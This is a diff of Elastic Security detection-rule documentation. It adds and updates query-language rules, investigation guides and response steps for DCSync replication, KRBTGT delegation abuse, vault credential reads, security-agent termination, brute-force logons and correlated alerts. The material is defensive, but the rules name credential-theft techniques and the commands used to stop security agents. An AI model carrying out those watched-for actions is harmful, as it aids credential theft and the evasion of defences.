+- Review AWS CloudTrail logs to identify the source of the deletion request, including the IAM user or role involved, and assess whether the credentials have been compromised.
+- Recreate the deleted RDS Security Group with the appropriate rules and reassign it to the affected RDS instance to restore normal operations.
+- Conduct a thorough audit of IAM permissions to ensure that only authorized personnel have the ability to delete RDS Security Groups, and revoke any unnecessary permissions.
+- Implement multi-factor authentication (MFA) for all IAM users with permissions to modify RDS Security Groups to enhance security and prevent unauthorized changes.
+- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected.
+- Update incident response plans and security policies based on the findings to prevent similar incidents in the future and improve overall cloud security posture.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:DeleteDBSecurityGroup and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Account Access Removal
+** ID: T1531
+** Reference URL: https://attack.mitre.org/techniques/T1531/
diff --git a/docs/detections/prebuilt-rules/rule-details/dmsa-account-creation-by-an-unusual-user.asciidoc b/docs/detections/prebuilt-rules/rule-details/dmsa-account-creation-by-an-unusual-user.asciidoc
index 274ed86529..ce0527c901 100644
--- a/docs/detections/prebuilt-rules/rule-details/dmsa-account-creation-by-an-unusual-user.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/dmsa-account-creation-by-an-unusual-user.asciidoc
@@ -36,7 +36,7 @@ Detects the creation of a delegated Managed Service Account by an unusual subjec
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 1
+*Version*: 2
 
 *Rule authors*: 
 
@@ -85,7 +85,7 @@ Detects the creation of a delegated Managed Service Account by an unusual subjec
 
 [source, js]
 ----------------------------------
-event.code:5137 and winlog.event_data.ObjectClass:"msDS-DelegatedManagedServiceAccount"
+event.code:5137 and host.os.type:"windows" and winlog.event_data.ObjectClass:"msDS-DelegatedManagedServiceAccount"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/elastic-agent-service-terminated.asciidoc b/docs/detections/prebuilt-rules/rule-details/elastic-agent-service-terminated.asciidoc
index 484220034c..009ff016cf 100644
--- a/docs/detections/prebuilt-rules/rule-details/elastic-agent-service-terminated.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/elastic-agent-service-terminated.asciidoc
@@ -32,7 +32,7 @@ Identifies the Elastic endpoint agent has stopped and is no longer running on th
 * Data Source: Elastic Defend
 * Resources: Investigation Guide
 
-*Version*: 110
+*Version*: 111
 
 *Rule authors*: 
 
@@ -118,12 +118,12 @@ process where
 or
 /* service or systemctl used to stop Elastic Agent on Linux */
 (event.type == "end" and
-  (process.name : ("systemctl", "service") and
-    process.args : "elastic-agent" and
-    process.args : ("stop", "disable"))
+  (process.name in ("systemctl", "service", "chkconfig", "update-rc.d") and
+    process.args : ("elastic-agent", "elastic-agent.service") and
+    process.args : ("stop", "disable", "remove", "off", "kill", "mask"))
   or
   /* pkill , killall used to stop Elastic Agent on Linux */
-  ( event.type == "end" and process.name : ("pkill", "killall") and process.args: "elastic-agent")
+  ( event.type == "end" and process.name in ("pkill", "killall", "kill") and process.args: "elastic-agent")
   or
   /* Unload Elastic Agent extension on MacOS */
   (process.name : "kextunload" and
diff --git a/docs/detections/prebuilt-rules/rule-details/elastic-defend-and-email-alerts-correlation.asciidoc b/docs/detections/prebuilt-rules/rule-details/elastic-defend-and-email-alerts-correlation.asciidoc
new file mode 100644
index 0000000000..73441fd6bb
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/elastic-defend-and-email-alerts-correlation.asciidoc
@@ -0,0 +1,110 @@
+[[elastic-defend-and-email-alerts-correlation]]
+=== Elastic Defend and Email Alerts Correlation
+
+This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 45m
+
+*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Rule Type: Higher-Order Rule
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+* Domain: Email
+* Domain: Endpoint
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+*Investigating Elastic Defend and Email Alerts Correlation*
+
+
+This rule correlates any Elastic Defend alert with an email security related alert by target user name.
+
+
+*Possible investigation steps*
+
+- Review the alert details to identify the specific host and users involved.
+- Investigate the individual alerts for the target user name and see if they are related.
+- Review all emails received from Esql.source_user_name and if there are other impacted users.
+- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.
+- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.
+
+
+*False positive analysis*
+
+- Legitimate email marked as suspicious.
+- Legitimate file or behavior marked as suspicious by Elastic Defend.
+- Unrelated alerts where the target user name is too generic.
+
+
+*Response and remediation*
+
+- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.
+- Conduct a thorough forensic analysis of the host.
+- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.
+- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.
+- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.
+- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-* metadata _id
+// Email or Elastic Defend alerts where user name is populated
+| where
+  (event.category == "email" and event.kind == "alert" and destination.user.name is not null) or
+  (event.module == "endpoint" and event.dataset == "endpoint.alerts" and user.name is not null)
+
+// extract target user name from email and endpoint alerts
+| eval email_alert_target_user_name = CASE(event.category == "email", destination.user.name, null),
+       elastic_defend_alert_user_name = CASE(event.module == "endpoint" and event.dataset == "endpoint.alerts", user.name, null)
+| eval Esql.target_user_name = COALESCE(email_alert_target_user_name, elastic_defend_alert_user_name)
+| where Esql.target_user_name is not null
+
+// group by Esql.target_user_name
+| stats Esql.alerts_count = COUNT(*),
+        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
+        Esql.event_module_values = VALUES(event.module),
+        Esql.message_values = VALUES(message),
+        Esql.event_action_values = VALUES(event.action),
+        Esql.process_executable_values = VALUES(process.executable),
+        Esql.host_id_values = VALUES(host.id),
+        Esql.source_user_name = VALUES(source.user.name),
+        Esql.rule_name_values = VALUES(rule.name)
+        by Esql.target_user_name
+// alert when same user is observed in an endpoint and email alert
+| where Esql.event_module_distinct_count >= 2
+| keep Esql.alerts_count, Esql.event_module_values, Esql.host_id_values, Esql.source_user_name, Esql.target_user_name, Esql.message_values, Esql.rule_name_values, Esql.event_action_values
+
+----------------------------------
diff --git a/docs/detections/prebuilt-rules/rule-details/elastic-defend-and-network-security-alerts-correlation.asciidoc b/docs/detections/prebuilt-rules/rule-details/elastic-defend-and-network-security-alerts-correlation.asciidoc
new file mode 100644
index 0000000000..7f13d49939
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/elastic-defend-and-network-security-alerts-correlation.asciidoc
@@ -0,0 +1,128 @@
+[[elastic-defend-and-network-security-alerts-correlation]]
+=== Elastic Defend and Network Security Alerts Correlation
+
+This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW) and Fortinet Fortigate by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Rule Type: Higher-Order Rule
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+* Data Source: Fortinet
+* Data Source: PAN-OS
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Elastic Defend and Network Security Alerts Correlation*
+
+
+This rule correlate any Elastic Defend alert with suspicious events from Network Security datasources like Palo Alto Networks (PANW), Fortinet Fortigate and Suricata by host.ip and source.ip.
+
+
+*Possible investigation steps*
+
+
+- Review the alert details to identify the specific host and users involved.
+- Investiguate the network alerts by destination.ip and message.
+- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.
+- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.
+- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.
+- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.
+
+
+*False positive analysis*
+
+
+- IP address ranges overlap where the host.ip value from the Elastic Defend alert is unrelated to the source.ip value from the Network Security alert.
+- Alerts from routine administrative tasks may trigger multiple alerts. Review and exclude known benign activities such as scheduled software updates or system maintenance.
+- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.
+- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.
+- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.
+- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.
+
+
+*Response and remediation*
+
+
+- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.
+- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.
+- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.
+- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.
+- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.
+- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.
+- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+FROM logs-* metadata _id
+| WHERE
+        // Elastic Defend Alerts
+        (event.module == "endpoint" and event.dataset == "endpoint.alerts") or
+
+        // PANW suspicious events
+        (event.dataset == "panw.panos" and
+         event.action in ("virus_detected", "wildfire_virus_detected", "c2_communication", "spyware_detected", "large_upload", "denied", "exploit_detected")) or
+
+        // Fortigate suspicious events
+        (event.dataset == "fortinet_fortigate.log" and
+         (event.action in ("outbreak-prevention", "deny", "infected", "blocked") or message like "backdoor*" or message like "Proxy*" or message like "anomaly*" or message like "P2P*" or message like "misc*" or message like "DNS.Over.HTTPS" or message like "Remote.Access")) or
+
+        // Suricata
+        (event.dataset == "suricata.eve" and message in ("Command and Control Traffic", "Potentially Bad Traffic", "A Network Trojan was detected", "Detection of a Network Scan", "Domain Observed Used for C2 Detected", "Malware Command and Control Activity Detected"))
+
+// extract source.ip from PANW or Fortigate events and host.ip from Elastic Defend alert
+|eval fw_alert_source_ip = CASE(event.dataset in ("panw.panos", "fortinet_fortigate.log"), source.ip, null),
+      elastic_defend_alert_host_ip = CASE(event.module == "endpoint" and event.dataset == "endpoint.alerts", host.ip, null)
+| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip)
+| where Esql.source_ip is not null
+
+// group by host_source_ip shared between FG/PANW and Elastic Defend
+| stats Esql.alerts_count = COUNT(*),
+        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
+        Esql.event_module_values = VALUES(event.module),
+        Esql.message_values = VALUES(message),
+        Esql.event_action_values = VALUES(event.action),
+        Esql.process_executable_values = VALUES(process.executable),
+        Esql.host_id_values = VALUES(host.id),
+        Esql.user_name_values = VALUES(user.name),
+        Esql.destination_ip_values = VALUES(destination.ip)
+        by Esql.source_ip
+| where Esql.event_module_distinct_count >= 2
+| keep Esql.alerts_count, Esql.source_ip, Esql.destination_ip_values, Esql.host_id_values, Esql.user_name_values, Esql.event_module_values, Esql.message_values, Esql.process_executable_values
+
+----------------------------------
diff --git a/docs/detections/prebuilt-rules/rule-details/firsttime-seen-account-performing-dcsync.asciidoc b/docs/detections/prebuilt-rules/rule-details/firsttime-seen-account-performing-dcsync.asciidoc
index 08cb98c125..a7a8437b89 100644
--- a/docs/detections/prebuilt-rules/rule-details/firsttime-seen-account-performing-dcsync.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/firsttime-seen-account-performing-dcsync.asciidoc
@@ -42,7 +42,7 @@ This rule identifies when a User Account starts the Active Directory Replication
 * Resources: Investigation Guide
 * Data Source: Windows Security Event Logs
 
-*Version*: 117
+*Version*: 118
 
 *Rule authors*: 
 
@@ -129,11 +129,12 @@ Audit Directory Service Access (Success,Failure)
 
 [source, js]
 ----------------------------------
-event.code:"4662" and winlog.event_data.Properties:(
-                               *DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or
-                               *DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or
-                               *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c*) and
- not winlog.event_data.SubjectUserName:(*$ or MSOL_*)
+event.code:"4662" and host.os.type:"windows" and 
+  winlog.event_data.Properties:(
+    *DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or
+    *DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or
+    *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c*) and
+  not winlog.event_data.SubjectUserName:(*$ or MSOL_*)
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/krbtgt-delegation-backdoor.asciidoc b/docs/detections/prebuilt-rules/rule-details/krbtgt-delegation-backdoor.asciidoc
index 12ecb61d30..dfaec0b160 100644
--- a/docs/detections/prebuilt-rules/rule-details/krbtgt-delegation-backdoor.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/krbtgt-delegation-backdoor.asciidoc
@@ -37,7 +37,7 @@ Identifies the modification of the msDS-AllowedToDelegateTo attribute to KRBTGT.
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 212
+*Version*: 213
 
 *Rule authors*: 
 
@@ -121,7 +121,7 @@ Audit User Account Management (Success,Failure)
 
 [source, js]
 ----------------------------------
-iam where event.code == "4738" and winlog.event_data.AllowedToDelegateTo : "*krbtgt*"
+iam where host.os.type == "windows" and event.code == "4738" and winlog.event_data.AllowedToDelegateTo : "*krbtgt*"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-365-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-365-global-administrator-role-assigned.asciidoc
index b3a1182045..8548eec201 100644
--- a/docs/detections/prebuilt-rules/rule-details/microsoft-365-global-administrator-role-assigned.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/microsoft-365-global-administrator-role-assigned.asciidoc
@@ -1,7 +1,7 @@
 [[microsoft-365-global-administrator-role-assigned]]
 === Microsoft 365 Global Administrator Role Assigned
 
-In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator / Company Administrator is a role that enables users to have access to all administrative features in Entra ID and services that use Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Adversaries can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources.
+Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles.
 
 *Rule type*: query
 
@@ -29,13 +29,14 @@ In Microsoft Entra ID, permissions to manage resources are assigned using roles.
 
 * Domain: Cloud
 * Domain: SaaS
+* Domain: Identity
 * Data Source: Microsoft 365
 * Data Source: Microsoft 365 Audit Logs
 * Use Case: Identity and Access Audit
 * Tactic: Persistence
 * Resources: Investigation Guide
 
-*Version*: 211
+*Version*: 212
 
 *Rule authors*: 
 
@@ -105,7 +106,6 @@ event.dataset:o365.audit
     )
     and o365.audit.AzureActiveDirectoryEventType: 1
     and o365.audit.RecordType: 8
-    and not o365.audit.Target.Type: (4 or 5 or 6)
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc
index 3855a644f1..5e7b77fe52 100644
--- a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc
@@ -40,7 +40,7 @@ Identifies a high count of failed Microsoft Entra ID sign-in attempts as the res
 * Tactic: Credential Access
 * Resources: Investigation Guide
 
-*Version*: 5
+*Version*: 6
 
 *Rule authors*: 
 
diff --git a/docs/detections/prebuilt-rules/rule-details/modification-of-the-mspkiaccountcredentials.asciidoc b/docs/detections/prebuilt-rules/rule-details/modification-of-the-mspkiaccountcredentials.asciidoc
index 8d1466d3d8..c4088305ea 100644
--- a/docs/detections/prebuilt-rules/rule-details/modification-of-the-mspkiaccountcredentials.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/modification-of-the-mspkiaccountcredentials.asciidoc
@@ -38,7 +38,7 @@ Identify the modification of the msPKIAccountCredentials attribute in an Active
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 117
+*Version*: 118
 
 *Rule authors*: 
 
@@ -123,7 +123,7 @@ Audit Directory Service Changes (Success,Failure)
 
 [source, js]
 ----------------------------------
-event.code:"5136" and winlog.event_data.AttributeLDAPDisplayName:"msPKIAccountCredentials" and
+event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msPKIAccountCredentials" and
   winlog.event_data.OperationType:"%%14674" and
   not winlog.event_data.SubjectUserSid : "S-1-5-18"
 
diff --git a/docs/detections/prebuilt-rules/rule-details/multiple-elastic-defend-alerts-by-agent.asciidoc b/docs/detections/prebuilt-rules/rule-details/multiple-elastic-defend-alerts-by-agent.asciidoc
new file mode 100644
index 0000000000..55dd76438e
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/multiple-elastic-defend-alerts-by-agent.asciidoc
@@ -0,0 +1,131 @@
+[[multiple-elastic-defend-alerts-by-agent]]
+=== Multiple Elastic Defend Alerts by Agent
+
+This rule uses alert data to determine when multiple alerts from Elastic Defend involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 30m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://github.com/elastic/protections-artifacts/tree/main/yara/rules
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Rule Type: Higher-Order Rule
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Multiple Elastic Defend Alerts by Agent*
+
+
+Endpoint security technologies monitor and analyze activities on devices to detect malicious behavior. Adversaries exploit these systems by deploying malware that triggers specific signatures across multiple hosts, indicating a coordinated attack. The detection rule identifies such threats by analyzing alert data for specific malware signatures across several hosts, flagging potential widespread infections for prioritized investigation.
+
+
+*Possible investigation steps*
+
+
+- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts.
+- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.
+- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.
+- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary.
+- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.
+- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.
+
+
+*False positive analysis*
+
+
+- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance.
+- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.
+- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.
+- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.
+- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.
+
+
+*Response and remediation*
+
+
+- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.
+- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.
+- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.
+- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.
+- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.
+- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.
+- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-endpoint.alerts-* metadata _id
+| eval target_time_window = DATE_TRUNC(24 hours, @timestamp)
+| where event.code in ("malicious_file", "memory_signature", "shellcode_thread", "behavior") and
+        agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus")
+| stats Esql.alerts_count = COUNT(*),
+        Esql.event_code_distinct_count = count_distinct(event.code),
+        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
+        Esql.file_hash_distinct_count = COUNT_DISTINCT(file.hash.sha256),
+        Esql.process_name_distinct_count = COUNT_DISTINCT(process.entity_id),
+        Esql.event_code_values = VALUES(event.code),
+        Esql.rule_name_values = VALUES(rule.name),
+        Esql.message_values = VALUES(message),
+        Esql.file_path_values = VALUES(file.path),
+        Esql.dll_path_values = VALUES(dll.path),
+        Esql.process_executable_values = VALUES(process.executable),
+        Esql.process_parent_executable_values = VALUES(process.parent.executable),
+        Esql.process_command_line_values = VALUES(process.command_line),
+        Esql.process_hash_sha256_values = VALUES(process.hash.sha256),
+        Esql.file_hash_sha256_values = VALUES(file.hash.sha256),
+        Esql.dll_hash_sha256_values = VALUES(dll.hash.sha256) by agent.id
+| where (Esql.event_code_distinct_count >= 2 or Esql.rule_name_distinct_count >= 3 or Esql.file_hash_distinct_count >= 2)
+| keep agent.id,
+       Esql.alerts_count,
+       Esql.event_code_distinct_count,
+       Esql.rule_name_distinct_count,
+       Esql.message_values,
+       Esql.event_code_values,
+       Esql.rule_name_values,
+       Esql.process_executable_values,
+       Esql.process_parent_executable_values,
+       Esql.process_command_line_values,
+       Esql.file_path_values,
+       Esql.dll_path_values,
+       Esql.process_hash_sha256_values,
+       Esql.file_hash_sha256_values,
+       Esql.dll_hash_sha256_values
+
+----------------------------------
diff --git a/docs/detections/prebuilt-rules/rule-details/multiple-logon-failure-followed-by-logon-success.asciidoc b/docs/detections/prebuilt-rules/rule-details/multiple-logon-failure-followed-by-logon-success.asciidoc
index b4433a43e7..eb832fdd8d 100644
--- a/docs/detections/prebuilt-rules/rule-details/multiple-logon-failure-followed-by-logon-success.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/multiple-logon-failure-followed-by-logon-success.asciidoc
@@ -34,7 +34,7 @@ Identifies multiple logon failures followed by a successful one from the same so
 * Resources: Investigation Guide
 * Data Source: Windows Security Event Logs
 
-*Version*: 115
+*Version*: 116
 
 *Rule authors*: 
 
@@ -118,7 +118,7 @@ This rule identifies potential password guessing/brute force activity from a sin
 [source, js]
 ----------------------------------
 sequence by winlog.computer_name, source.ip with maxspan=5s
-  [authentication where event.action == "logon-failed" and
+  [authentication where host.os.type == "windows" and event.action == "logon-failed" and
     /* event 4625 need to be logged */
     winlog.logon.type : "Network" and user.id != null and 
     source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and 
@@ -127,7 +127,7 @@ sequence by winlog.computer_name, source.ip with maxspan=5s
 
     /* noisy failure status codes often associated to authentication misconfiguration */
     not winlog.event_data.Status : ("0xC000015B", "0XC000005E", "0XC0000133", "0XC0000192")] with runs=5
-  [authentication where event.action == "logged-in" and
+  [authentication where host.os.type == "windows" and event.action == "logged-in" and
     /* event 4624 need to be logged */
     winlog.logon.type : "Network" and
     source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and
diff --git a/docs/detections/prebuilt-rules/rule-details/multiple-logon-failure-from-the-same-source-address.asciidoc b/docs/detections/prebuilt-rules/rule-details/multiple-logon-failure-from-the-same-source-address.asciidoc
index df1d86ae0b..5f94e3ace8 100644
--- a/docs/detections/prebuilt-rules/rule-details/multiple-logon-failure-from-the-same-source-address.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/multiple-logon-failure-from-the-same-source-address.asciidoc
@@ -37,7 +37,7 @@ Identifies multiple consecutive logon failures from the same source address and
 * Resources: Investigation Guide
 * Data Source: Windows Security Event Logs
 
-*Version*: 114
+*Version*: 115
 
 *Rule authors*: 
 
@@ -132,7 +132,7 @@ This rule identifies potential password guessing/brute force activity from a sin
 [source, js]
 ----------------------------------
 sequence by winlog.computer_name, source.ip with maxspan=10s
-  [authentication where event.action == "logon-failed" and
+  [authentication where host.os.type == "windows" and event.action == "logon-failed" and
     /* event 4625 need to be logged */
     winlog.logon.type : "Network" and
     source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and
diff --git a/docs/detections/prebuilt-rules/rule-details/multiple-vault-web-credentials-read.asciidoc b/docs/detections/prebuilt-rules/rule-details/multiple-vault-web-credentials-read.asciidoc
index a5cd5a95eb..ffbf1aa51c 100644
--- a/docs/detections/prebuilt-rules/rule-details/multiple-vault-web-credentials-read.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/multiple-vault-web-credentials-read.asciidoc
@@ -35,7 +35,7 @@ Windows Credential Manager allows you to create, view, or delete saved credentia
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 115
+*Version*: 116
 
 *Rule authors*: 
 
@@ -102,12 +102,12 @@ sequence by winlog.computer_name, winlog.process.pid with maxspan=1s
 
  /* 2 consecutive vault reads from same pid for web creds */
 
- [any where event.code : "5382" and
+ [any where host.os.type == "windows" and event.code == "5382" and
   (winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
   not winlog.event_data.SubjectLogonId : "0x3e7" and
   not winlog.event_data.Resource : "http://localhost/"]
 
- [any where event.code : "5382" and
+ [any where host.os.type == "windows" and event.code == "5382" and
   (winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
   not winlog.event_data.SubjectLogonId : "0x3e7" and
   not winlog.event_data.Resource : "http://localhost/"]
diff --git a/docs/detections/prebuilt-rules/rule-details/okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc b/docs/detections/prebuilt-rules/rule-details/okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc
new file mode 100644
index 0000000000..f8738999df
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc
@@ -0,0 +1,109 @@
+[[okta-multiple-os-names-detected-for-a-single-dt-hash]]
+=== Okta Multiple OS Names Detected for a Single DT Hash
+
+Identifies when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token and is using it to impersonate a legitimate user from a different machine.
+
+*Rule type*: threshold
+
+*Rule indices*: 
+
+* logs-okta.system-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Identity
+* Data Source: Okta
+* Data Source: Okta System Logs
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Okta Multiple OS Names Detected for a Single DT Hash*
+
+
